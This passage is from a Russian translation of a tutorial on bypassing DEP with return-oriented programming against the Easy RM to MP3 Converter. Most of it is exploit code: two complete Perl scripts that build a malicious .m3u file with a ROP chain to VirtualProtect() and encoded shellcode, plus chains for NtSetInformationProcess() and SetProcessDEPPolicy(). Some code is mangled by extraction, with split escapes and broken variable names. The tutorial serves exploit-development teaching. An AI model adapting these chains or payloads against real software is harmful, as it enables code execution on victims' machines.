Наконец, мы должны увеличить значение в ESI - 4 байта, и убедиться, что он будет указывать на следующий параметр. Все, что мы должны, это ADD ESI,4 + RET, или в 4 раза INC ESI, RET
я буду использовать
Code:
0x77157D1D: # INC ESI # RETN [Module: OLEAUT32.dll]
(4 раза).
Так, обновленный скрипт sploit будет выглядеть так:
Code: Perl
#------------------------------------------------------------
#ROP based exploit for Easy RM to MP3 Converter
#written by corelanc0d3r - http://www.corelan.be
#------------------------------------------------------------
my $file= "rop.m3u";
my $buffersize = 26094;
my $junk = "Z" x $buffersize;
my $eip=pack('V',0x100102DC); #return to stack
my $junk2 = "AAAA"; #compensate
#------Put stack pointer in EDI & EAX------------------------#
my $rop=pack('V',0x5AD79277); #PUSH ESP, POP EDI
$rop = $rop.pack('V',0x77C1E842); #PUSH EDI, POP EAX
$rop=$rop."AAAA"; #compensate for POP EBP
#stack pointer is now in EAX & EDI, now jump over parameters
$rop=$rop.pack('V',0x1001653D); #ADD ESP,20
#-------Parameters for VirtualProtect()----------------------#
my $params=pack('V',0x7C801AD4); #VirtualProtect()
$params = $params."WWWW"; #return address (param1)
$params = $params."XXXX"; #lpAddress (param2)
$params = $params."YYYY"; #Size (param3)
$params = $params."ZZZZ"; #flNewProtect (param4)
$params = $params.pack('V',0x10035005); #writeable address
$params=$params.("H" x 8); #padding
# ADD ESP,20 + RET will land here
# change ESI so it points to correct location
# to write first parameter (return address)
my $rop2= pack('V',0x763C982F); # XCHG ESI,EDI # DEC ECX # RETN 4
#-----Make eax point at shellcode--------------------------
$rop2=$rop2.pack('V',0x1002DC4C); #ADD EAX,100 # POP EBP
$rop2=$rop2."AAAA"; #padding - compensate for RETN4 before
$rop2=$rop2."AAAA"; #padding
#----------------------------------------------------------
#return address is in EAX - write parameter 1
$rop2=$rop2.pack('V',0x77E84115);
$rop2=$rop2."AAAA"; #padding
#EAX now contains stack pointer
#save it back to ESI first
$rop2=$rop2.pack('V',0x775D131E); # PUSH EAX # POP ESI # RETN
#-----Make eax point at shellcode (again)--------------------------
$rop2=$rop2.pack('V',0x1002DC4C); #ADD EAX,100 # POP EBP
$rop2=$rop2."AAAA"; #padding
#increase ESI with 4
$rop2=$rop2.pack('V',0x77157D1D); # INC ESI # RETN [Module: OLEAUT32.dll]
$rop2=$rop2.pack('V',0x77157D1D); # INC ESI # RETN [Module: OLEAUT32.dll]
$rop2=$rop2.pack('V',0x77157D1D); # INC ESI # RETN [Module: OLEAUT32.dll]
$rop2=$rop2.pack('V',0x77157D1D); # INC ESI # RETN [Module: OLEAUT32.dll]
#and write lpAddress (param 2)
$rop2=$rop2.pack('V',0x77E84115);
$rop2=$rop2."AAAA"; #padding
#
my $nops = "x90" x 240;
#
# ./msfpayload windows/messagebox
# TITLE=CORELAN TEXT="rop test by corelanc0d3r" R
# | ./msfencode -e x86/alpha_mixed -t perl
my $shellcode =
"\x89\xe0\xda\xcf\xd9\x70\xf4\x5a\x4a\x4a\x4a\x4a\ x4a\x4a" .
"\x4a\x4a\x4a\x4a\x4a\x43\x43\x43\x43\x43\x43\x37\ x52\x59" .
"\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\ x32\x41" .
"\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\ x41\x42" .
"\x75\x4a\x49\x48\x59\x48\x6b\x4f\x6b\x48\x59\x43\ x44\x51" .
"\x34\x4c\x34\x50\x31\x48\x52\x4f\x42\x42\x5a\x46\ x51\x49" .
"\x59\x45\x34\x4e\x6b\x51\x61\x44\x70\x4e\x6b\x43\ x46\x46" .
"\x6c\x4c\x4b\x42\x56\x45\x4c\x4c\x4b\x42\x66\x43\ x38\x4c" .
"\x4b\x51\x6e\x45\x70\x4e\x6b\x50\x36\x44\x78\x42\ x6f\x45" .
"\x48\x44\x35\x4c\x33\x50\x59\x43\x31\x4a\x71\x4b\ x4f\x48" .
"\x61\x43\x50\x4c\x4b\x50\x6c\x51\x34\x46\x44\x4e\ x6b\x47" .
"\x35\x45\x6c\x4c\x4b\x42\x74\x43\x35\x42\x58\x46\ x61\x48" .
"\x6a\x4e\x6b\x51\x5a\x45\x48\x4e\x6b\x42\x7a\x47\ x50\x47" .
"\x71\x48\x6b\x4a\x43\x45\x67\x42\x69\x4e\x6b\x47\ x44\x4e" .
"\x6b\x46\x61\x48\x6e\x46\x51\x49\x6f\x45\x61\x49\ x50\x49" .
"\x6c\x4e\x4c\x4d\x54\x49\x50\x50\x74\x45\x5a\x4b\ x71\x48" .
"\x4f\x44\x4d\x47\x71\x4b\x77\x48\x69\x48\x71\x49\ x6f\x49" .
"\x6f\x4b\x4f\x45\x6b\x43\x4c\x47\x54\x44\x68\x51\ x65\x49" .
"\x4e\x4e\x6b\x50\x5a\x45\x74\x46\x61\x48\x6b\x50\ x66\x4e" .
"\x6b\x46\x6c\x50\x4b\x4c\x4b\x51\x4a\x45\x4c\x45\ x51\x4a" .
"\x4b\x4e\x6b\x43\x34\x4c\x4b\x43\x31\x4a\x48\x4d\ x59\x42" .
"\x64\x51\x34\x47\x6c\x45\x31\x4f\x33\x4f\x42\x47\ x78\x44" .
"\x69\x49\x44\x4f\x79\x4a\x45\x4e\x69\x4a\x62\x43\ x58\x4e" .
"\x6e\x42\x6e\x44\x4e\x48\x6c\x43\x62\x4a\x48\x4d\ x4c\x4b" .
"\x4f\x4b\x4f\x49\x6f\x4d\x59\x42\x65\x43\x34\x4f\ x4b\x51" .
"\x6e\x48\x58\x48\x62\x43\x43\x4e\x67\x47\x6c\x45\ x74\x43" .
"\x62\x49\x78\x4e\x6b\x4b\x4f\x4b\x4f\x49\x6f\x4f\ x79\x50" .
"\x45\x45\x58\x42\x48\x50\x6c\x42\x4c\x51\x30\x4b\ x4f\x51" .
"\x78\x50\x33\x44\x72\x44\x6e\x51\x74\x50\x68\x42\ x55\x50" .
"\x73\x42\x45\x42\x52\x4f\x78\x43\x6c\x47\x54\x44\ x4a\x4c" .
"\x49\x4d\x36\x50\x56\x4b\x4f\x43\x65\x47\x74\x4c\ x49\x48" .
"\x42\x42\x70\x4f\x4b\x49\x38\x4c\x62\x50\x4d\x4d\ x6c\x4e" .
"\x67\x45\x4c\x44\x64\x51\x42\x49\x78\x51\x4e\x49\ x6f\x4b" .
"\x4f\x49\x6f\x42\x48\x42\x6c\x43\x71\x42\x6e\x50\ x58\x50" .
"\x68\x47\x33\x42\x6f\x50\x52\x43\x75\x45\x61\x4b\ x6b\x4e" .
"\x68\x51\x4c\x47\x54\x47\x77\x4d\x59\x4b\x53\x50\ x68\x51" .
"\x48\x47\x50\x51\x30\x51\x30\x42\x48\x50\x30\x51\ x74\x50" .
"\x33\x50\x72\x45\x38\x42\x4c\x45\x31\x50\x6e\x51\ x73\x43" .
"\x58\x50\x63\x50\x6f\x43\x42\x50\x65\x42\x48\x47\ x50\x43" .
"\x52\x43\x49\x51\x30\x51\x78\x43\x44\x42\x45\x51\ x63\x50" .
"\x74\x45\x38\x44\x32\x50\x6f\x42\x50\x51\x30\x46\ x51\x48" .
"\x49\x4c\x48\x42\x6c\x47\x54\x44\x58\x4d\x59\x4b\ x51\x46" .
"\x51\x48\x52\x51\x42\x46\x33\x50\x51\x43\x62\x49\ x6f\x4e" .
"\x30\x44\x71\x49\x50\x50\x50\x4b\x4f\x50\x55\x45\ x58\x45" .
"\x5a\x41\x41";
my $rest = "C" x 300;
my $payload = $junk.$eip.$junk2.$rop.$params.$rop2.$nops.$shellc ode.$rest;
print "Payload size: ".length($payload)."n";
print "Shellcode size: ".length($shellcode)."n";
open($FILE,">$file");
print $FILE $payload;
close($FILE);
print "m3u File $file Created successfullyn";
Стадия 4 и 5: третий и четвертый параметр (размер и флаг защиты)
Для того чтобы создать третий параметр, я решил установить размер до 0x300 байт. Гаджеты, которые должны сделать это XOR EAX, EAX и ADD EAX,100
Техника для занаписи полученного значения в качестве параметра в точности такая же, как с другими параметрами
- Сохранить EAX в ESI
- Изменить EAX (XOR EAX, EAX: 0x100307A9, а затем добавить EAX, 100 + RET, 3 раза подряд: 0x1002DC4C)
- Увеличить ESI на 4 байта
- Записать EAX в ESI + 0x10
Четвертый параметр (0x40) снова использует тот же принцип:
- Сохранить EAX в ESI
- Установить EAX в нуль, а затем добавить 40 (XOR EAX, EAX + RET: 0x100307A9 / ADD EAX, 40 + RET: 0x1002DC41)
- Увеличить ESI на 4 байта
- Записать EAX в ESI + 0x10
Заключительный этап: переход к VirtualProtect
Все параметры будут записаны в стек:

Все, что мы должны сделать сейчас, это найти способ, чтобы ESP указывало на VirtualProtect() и как-то вернуться к ней.
В настоящее время состояние регистров:

Каковы мои варианты, чтобы сделать это? Как я могу поместить в ESP этот адрес - 0010F740, а затем вернуться (к указателю на VirtualProtect())?
Ответ: EAX уже указывает на этот адрес. Так что, если мы можем поставить EAX в ESP, а затем вернуться, она должна быть тонкой.
Поиск в rop.txt push eax / pop esp:
Code:
0x73DF5CA8 # PUSH EAX # POP ESP # MOV EAX,EDI # POP EDI # POP ESI # RETN [Module: MFC42.DLL]
Этот будет работать, но есть 2 инструкции POP в гаджете. Таким образом, мы должны настроить EAX в первую очередь (для компенсации POP’s). В основном мы должны вычесть 8 из EAX, прежде чем регулировать стек.
Чтобы сделать это, мы можем использовать
Code:
0x775D12F1 #SUB EAX,4 # RE
Наша конечная цепочка будет выглядеть следующим образом:
- 0x775D12F1
- 0x775D12F1
- 0x73DF5CA8
Положите все вместе в эксплоит скрипт:
Code: Perl
#------------------------------------------------------------
#ROP based exploit for Easy RM to MP3 Converter
#written by corelanc0d3r - http://www.corelan.be
#------------------------------------------------------------
my $file= "rop.m3u";
my $buffersize = 26094;
my $junk = "Z" x $buffersize;
my $eip=pack('V',0x100102DC); #return to stack
my $junk2 = "AAAA"; #compensate
#------Put stack pointer in EDI & EAX------------------------#
my $rop=pack('V',0x5AD79277); #PUSH ESP, POP EDI
$rop = $rop.pack('V',0x77C1E842); #PUSH EDI, POP EAX
$rop=$rop."AAAA"; #compensate for POP EBP
#stack pointer is now in EAX & EDI, now jump over parameters
$rop=$rop.pack('V',0x1001653D); #ADD ESP,20
#-------Parameters for VirtualProtect()----------------------#
my $params=pack('V',0x7C801AD4); #VirtualProtect()
$params = $params."WWWW"; #return address (param1)
$params = $params."XXXX"; #lpAddress (param2)
$params = $params."YYYY"; #Size (param3)
$params = $params."ZZZZ"; #flNewProtect (param4)
$params = $params.pack('V',0x10035005); #writeable address
$params=$params.("H" x 8); #padding
# ADD ESP,20 + RET will land here
# change ESI so it points to correct location
# to write first parameter (return address)
my $rop2= pack('V',0x763C982F); # XCHG ESI,EDI # DEC ECX # RETN 4
#-----Make eax point at shellcode--------------------------
$rop2=$rop2.pack('V',0x1002DC4C); #ADD EAX,100 # POP EBP
$rop2=$rop2."AAAA"; #padding - compensate for RETN4 before
$rop2=$rop2."AAAA"; #padding
#----------------------------------------------------------
#return address is in EAX - write parameter 1
$rop2=$rop2.pack('V',0x77E84115);
$rop2=$rop2."AAAA"; #padding
#EAX now contains stack pointer
#save it back to ESI first
$rop2=$rop2.pack('V',0x775D131E); # PUSH EAX # POP ESI # RETN
#-----Make eax point at shellcode (again)--------------------------
$rop2=$rop2.pack('V',0x1002DC4C); #ADD EAX,100 # POP EBP
$rop2=$rop2."AAAA"; #padding
#increase ESI with 4
$rop2=$rop2.pack('V',0x77157D1D); # INC ESI # RETN [Module: OLEAUT32.dll]
$rop2=$rop2.pack('V',0x77157D1D); # INC ESI # RETN [Module: OLEAUT32.dll]
$rop2=$rop2.pack('V',0x77157D1D); # INC ESI # RETN [Module: OLEAUT32.dll]
$rop2=$rop2.pack('V',0x77157D1D); # INC ESI # RETN [Module: OLEAUT32.dll]
#and write lpAddress (param 2)
$rop2=$rop2.pack('V',0x77E84115);
$rop2=$rop2."AAAA"; #padding
#save EAX in ESI again
$rop2=$rop2.pack('V',0x775D131E); # PUSH EAX # POP ESI # RETN
#create size - set EAX to 300 or so
$rop2=$rop2.pack('V',0x100307A9); # XOR EAX,EAX # RETN
$rop2=$rop2.pack('V',0x1002DC4C); #ADD EAX,100 # POP EBP
$rop2=$rop2."AAAA"; #padding
$rop2=$rop2.pack('V',0x1002DC4C); #ADD EAX,100 # POP EBP
$rop2=$rop2."AAAA"; #padding
$rop2=$rop2.pack('V',0x1002DC4C); #ADD EAX,100 # POP EBP
$rop2=$rop2."AAAA"; #padding
#write size, first set ESI to right place
$rop2=$rop2.pack('V',0x77157D1D); # INC ESI # RETN [Module: OLEAUT32.dll]
$rop2=$rop2.pack('V',0x77157D1D); # INC ESI # RETN [Module: OLEAUT32.dll]
$rop2=$rop2.pack('V',0x77157D1D); # INC ESI # RETN [Module: OLEAUT32.dll]
$rop2=$rop2.pack('V',0x77157D1D); # INC ESI # RETN [Module: OLEAUT32.dll]
#write (param 3)
$rop2=$rop2.pack('V',0x77E84115);
$rop2=$rop2."AAAA"; #padding
#save EAX in ESI again
$rop2=$rop2.pack('V',0x775D131E); # PUSH EAX # POP ESI # RETN
#flNewProtect 0x40
$rop2=$rop2.pack('V',0x10010C77); #XOR EAX,EAX
$rop2=$rop2.pack('V',0x1002DC41); #ADD EAX,40 # POP EBP
$rop2=$rop2."AAAA"; #padding
$rop2=$rop2.pack('V',0x77157D1D); # INC ESI # RETN [Module: OLEAUT32.dll]
$rop2=$rop2.pack('V',0x77157D1D); # INC ESI # RETN [Module: OLEAUT32.dll]
$rop2=$rop2.pack('V',0x77157D1D); # INC ESI # RETN [Module: OLEAUT32.dll]
$rop2=$rop2.pack('V',0x77157D1D); # INC ESI # RETN [Module: OLEAUT32.dll]
#write (param4)
$rop2=$rop2.pack('V',0x77E84115);
$rop2=$rop2."AAAA"; #padding
#Return to VirtualProtect()
#EAX points at VirtualProtect pointer (just before parameters)
#compensate for the 2 POP instructions
$rop2=$rop2.pack('V',0x775D12F1); #SUB EAX,4 # RET
$rop2=$rop2.pack('V',0x775D12F1); #SUB EAX,4 # RET
#change ESP & fly back
$rop2=$rop2.pack('V',0x73DF5CA8); #[Module: MFC42.DLL]
# PUSH EAX # POP ESP # MOV EAX,EDI # POP EDI # POP ESI # RETN
#
my $nops = "x90" x 240;
#
# ./msfpayload windows/messagebox
# TITLE=CORELAN TEXT="rop test by corelanc0d3r" R
# | ./msfencode -e x86/alpha_mixed -t perl
my $shellcode =
"\x89\xe0\xda\xcf\xd9\x70\xf4\x5a\x4a\x4a\x4a\x4a\ x4a\x4a" .
"\x4a\x4a\x4a\x4a\x4a\x43\x43\x43\x43\x43\x43\x37\ x52\x59" .
"\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\ x32\x41" .
"\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\ x41\x42" .
"\x75\x4a\x49\x48\x59\x48\x6b\x4f\x6b\x48\x59\x43\ x44\x51" .
"\x34\x4c\x34\x50\x31\x48\x52\x4f\x42\x42\x5a\x46\ x51\x49" .
"\x59\x45\x34\x4e\x6b\x51\x61\x44\x70\x4e\x6b\x43\ x46\x46" .
"\x6c\x4c\x4b\x42\x56\x45\x4c\x4c\x4b\x42\x66\x43\ x38\x4c" .
"\x4b\x51\x6e\x45\x70\x4e\x6b\x50\x36\x44\x78\x42\ x6f\x45" .
"\x48\x44\x35\x4c\x33\x50\x59\x43\x31\x4a\x71\x4b\ x4f\x48" .
"\x61\x43\x50\x4c\x4b\x50\x6c\x51\x34\x46\x44\x4e\ x6b\x47" .
"\x35\x45\x6c\x4c\x4b\x42\x74\x43\x35\x42\x58\x46\ x61\x48" .
"\x6a\x4e\x6b\x51\x5a\x45\x48\x4e\x6b\x42\x7a\x47\ x50\x47" .
"\x71\x48\x6b\x4a\x43\x45\x67\x42\x69\x4e\x6b\x47\ x44\x4e" .
"\x6b\x46\x61\x48\x6e\x46\x51\x49\x6f\x45\x61\x49\ x50\x49" .
"\x6c\x4e\x4c\x4d\x54\x49\x50\x50\x74\x45\x5a\x4b\ x71\x48" .
"\x4f\x44\x4d\x47\x71\x4b\x77\x48\x69\x48\x71\x49\ x6f\x49" .
"\x6f\x4b\x4f\x45\x6b\x43\x4c\x47\x54\x44\x68\x51\ x65\x49" .
"\x4e\x4e\x6b\x50\x5a\x45\x74\x46\x61\x48\x6b\x50\ x66\x4e" .
"\x6b\x46\x6c\x50\x4b\x4c\x4b\x51\x4a\x45\x4c\x45\ x51\x4a" .
"\x4b\x4e\x6b\x43\x34\x4c\x4b\x43\x31\x4a\x48\x4d\ x59\x42" .
"\x64\x51\x34\x47\x6c\x45\x31\x4f\x33\x4f\x42\x47\ x78\x44" .
"\x69\x49\x44\x4f\x79\x4a\x45\x4e\x69\x4a\x62\x43\ x58\x4e" .
"\x6e\x42\x6e\x44\x4e\x48\x6c\x43\x62\x4a\x48\x4d\ x4c\x4b" .
"\x4f\x4b\x4f\x49\x6f\x4d\x59\x42\x65\x43\x34\x4f\ x4b\x51" .
"\x6e\x48\x58\x48\x62\x43\x43\x4e\x67\x47\x6c\x45\ x74\x43" .
"\x62\x49\x78\x4e\x6b\x4b\x4f\x4b\x4f\x49\x6f\x4f\ x79\x50" .
"\x45\x45\x58\x42\x48\x50\x6c\x42\x4c\x51\x30\x4b\ x4f\x51" .
"\x78\x50\x33\x44\x72\x44\x6e\x51\x74\x50\x68\x42\ x55\x50" .
"\x73\x42\x45\x42\x52\x4f\x78\x43\x6c\x47\x54\x44\ x4a\x4c" .
"\x49\x4d\x36\x50\x56\x4b\x4f\x43\x65\x47\x74\x4c\ x49\x48" .
"\x42\x42\x70\x4f\x4b\x49\x38\x4c\x62\x50\x4d\x4d\ x6c\x4e" .
"\x67\x45\x4c\x44\x64\x51\x42\x49\x78\x51\x4e\x49\ x6f\x4b" .
"\x4f\x49\x6f\x42\x48\x42\x6c\x43\x71\x42\x6e\x50\ x58\x50" .
"\x68\x47\x33\x42\x6f\x50\x52\x43\x75\x45\x61\x4b\ x6b\x4e" .
"\x68\x51\x4c\x47\x54\x47\x77\x4d\x59\x4b\x53\x50\ x68\x51" .
"\x48\x47\x50\x51\x30\x51\x30\x42\x48\x50\x30\x51\ x74\x50" .
"\x33\x50\x72\x45\x38\x42\x4c\x45\x31\x50\x6e\x51\ x73\x43" .
"\x58\x50\x63\x50\x6f\x43\x42\x50\x65\x42\x48\x47\ x50\x43" .
"\x52\x43\x49\x51\x30\x51\x78\x43\x44\x42\x45\x51\ x63\x50" .
"\x74\x45\x38\x44\x32\x50\x6f\x42\x50\x51\x30\x46\ x51\x48" .
"\x49\x4c\x48\x42\x6c\x47\x54\x44\x58\x4d\x59\x4b\ x51\x46" .
"\x51\x48\x52\x51\x42\x46\x33\x50\x51\x43\x62\x49\ x6f\x4e" .
"\x30\x44\x71\x49\x50\x50\x50\x4b\x4f\x50\x55\x45\ x58\x45" .
"\x5a\x41\x41";
my $rest = "C" x 300;
my $payload = $junk.$eip.$junk2.$rop.$params.$rop2.$nops.$shellc ode.$rest;
print "Payload size: ".length($payload)."n";
print "Shellcode size: ".length($shellcode)."n";
open($FILE,">$file");
print $FILE $payload;
close($FILE);
print "m3u File $file Created successfullyn";
Результат:

Прямой RET - ROP Версия 2 - NtSetInformationProcess()
Давайте использовать то же самое приложение / уязвимость, и испытать другую технику ROP: NtSetInformationProcess()
Эта функция принимает 5 параметров:
- Return address Значение, которые будут созданы, показывает куда функция должна вернуться (= место, где ваш шеллкод
- NtCurrentProcess() Статическое значение, чтобы установить 0xFFFFFFFF
- ProcessExecuteFlags Статическое значение, установить в 0x22
- &ExecuteFlags Указатель на 0x00000002, может быть статический адрес жестко задан в вашем sploit-е, но быть доступным для записи
- sizeOf (ExecuteFlags) Статическое значение, установить в 0x4
Exploit ROP, скорее всего выглядеть почти так же, как с VirtualProtect():
- Сохранить положение стека
- Перепрыгнуть через заполнители
- Сгенерировать значения для return address ( адрес возврата )
- Сгенерировать значение для второго параметра (0x22) и использовать "ESI + 0x10", чтобы записать его в стек
- Обнулить EAX: XOR EAX,EAX + RET: 0x100307A9
- ADD EAX,40 + RET: 0x1002DC41 + цепь указателей, чтобы добавить - ADD EAX,-2, пока он содержит 0x22 (0x10027D2E)
- Кроме того, использовать ADD AL,10 (0x100308FD) дважды, а затем INC EAX дважды (0x1001152C)
- При необходимости, сгенерировать значение для третьего параметра (указатель на 0x2, адрес для записи ). Совет: попробуйте запустить ( !mona find -s RW ) в Immunity Debugger и посмотреть, сможете найти статический / записываемый адрес.
- Сгенерировать значение для четвертого параметра (0x4) и использовать "ESI + 0x10", чтобы записать его в стек
- INC EAX 4 раза: 0x1001152C
Просто, чтобы доказать, что он работает:

Прямой RET - ROP Версия 3 - SetProcessDEPPolicy()
Другой способ обойти DEP это использовать вызов SetProcessDEPPolicy(), в основном выключения DEP для процесса.
Эта функция нуждается в 2-х параметрах в стеке: указатель на шеллкод (динамически генерируемый) и ноль.
У нас есть только ограниченное количество параметров, я постараюсь использовать другую технику, чтобы положить параметры в стек ... PUSHAD
Инструкция pushad поместит регистры в стек и тогда вершина стека будет выглядеть:
- EDI
- ESI
- EBP
- значение, указываюшее на стек сразу после этого блока
- EBX
- EDX
- ECX
- EAX
Если мы позиционируем наши NOPS / шелл-код сразу после этого блока, то, возможно, мы можем воспользоваться тем, что мы будем иметь значение в стеке, который указывает на наш шеллкод."авто-магически"
Далее, значение из вершины стека (значение, которым можно манипулировать с помощью EDI) положить в EIP. Это дает нам идеальный путь, чтобы сделать эту работу.
Для того, чтобы поставить правильные параметры в нужном месте, мы должны выработать регистры со следующими значениями:
- EDI = указатель на RET (слайд до следующей инструкции: ROP NOP)
- ESI = Указатель на RET (слайд до следующей инструкции: ROP NOP)
- EBP = указатель на SetProcessDEPPolicy()
- EBX = указатель на нуль
- EDX, ECX и EAX на самом деле не важно,
После pushad, стек будет выглядеть следующим образом:
- RET (из EDI)
- RET (из ESI)
- SetProcessDEPPolicy() (взято из научного обоснования)
- Указатель на шеллкоде
- Zero (из EBX)
- EDX (junk)
- ECX (junk)
- EAX (junk)
- nops
- shellcode
ROP цепь чтобы сделать это может выглядеть примерно так:
Code: Perl
my $eip=pack('V',0x100102DC); #return to stack
my $junk2 = "AAAA"; #compensate
#put zero in EBX
my $rop=pack('V',0x100109EC); #POP EBX
$rop=$rop.pack('V',0xFFFFFFFF); #<- will be put in EBX
$rop=$rop.pack('V',0x1001C1A5); #INC EBX, EBX = 0 now
$rop=$rop.pack('V',0x10014F75); #POP EBP
$rop=$rop.pack('V',0x7C8622A4); #<- SetProcessDEPPolicy, into EBP
#put RET in EDI (needed as NOP)
$rop=$rop.pack('V',0x1001C07F); #POP EDI (pointer to RET)
$rop=$rop.pack('V',0x1001C080); #RET
#put RET in ESI as well (NOP again)
$rop=$rop.pack('V',0x10010C31); #POP ESI
$rop=$rop.pack('V',0x1001C080); #RET
$rop=$rop.pack('V',0x100184FA); #PUSHAD
#ESP will now automagically point at nops
(Просто добавьте NOPS + шелл-код к этой ROP цепи и все готово)
Result: